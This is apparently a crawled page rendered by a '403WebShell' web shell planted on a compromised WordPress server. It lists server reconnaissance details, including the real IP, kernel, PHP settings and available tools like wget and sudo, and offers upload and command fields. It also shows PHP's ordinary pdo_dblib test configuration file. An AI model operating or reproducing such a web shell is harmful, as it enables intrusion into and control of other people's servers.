WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/pdo_dblib/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/pdo_dblib/tests/config.inc
<?php

function get_tds_version() {
	global $dsn;

	$dsn_parts = explode(':', $dsn, 2);
	if ($dsn_parts[0] == 'dblib') { // uri is an option, which we'll ignore
		foreach (explode(';', $dsn_parts[1]) as $arg) {
			$arg = explode('=', $arg);
			if ($arg[0] == 'version') {
				return $arg[1];
			}
		}
	}

	return null;
}

// bug #72969 reflects a bug with FreeTDS, not with pdo_dblib
// this function will version detect so the relevant tests can XFAILIF
function driver_supports_batch_statements_without_select($db) {
	$version = $db->getAttribute(PDO::DBLIB_ATTR_VERSION);

	// assume driver doesn't have this bug if not using FreeTDS
	if (!strstartswith($version, 'freetds ')) {
		return true;
	}

	// hasn't made it to numbered release yet
	if (!strstartswith($version, 'freetds v1.1.dev.')) {
		return false;
	}

	// fc820490336c50d5c175d2a15327383256add4c9 was committed on the 5th
	return intval(substr($version, -8)) >= 20161206;
}

function strstartswith($haystack, $needle) {
	return $needle === "" || strrpos($haystack, $needle, -strlen($haystack)) !== false;
}

if (false !== getenv('PDO_DBLIB_TEST_DSN')) {
	$dsn = getenv('PDO_DBLIB_TEST_DSN');
} else {
	$dsn = 'dblib:host=localhost;dbname=test';
}

if (false !== getenv('PDO_DBLIB_TEST_USER')) {
	$user = getenv('PDO_DBLIB_TEST_USER');
} else {
	$user = 'php';
}

if (false !== getenv('PDO_DBLIB_TEST_PASS')) {
	$pass = getenv('PDO_DBLIB_TEST_PASS');
} else {
	$pass = 'password';
}

try {
	$db = new PDO($dsn, $user, $pass);
	$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
	$db->setAttribute(PDO::ATTR_STRINGIFY_FETCHES, false);
} catch (PDOException $e) {
	die('skip ' . $e->getMessage());
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit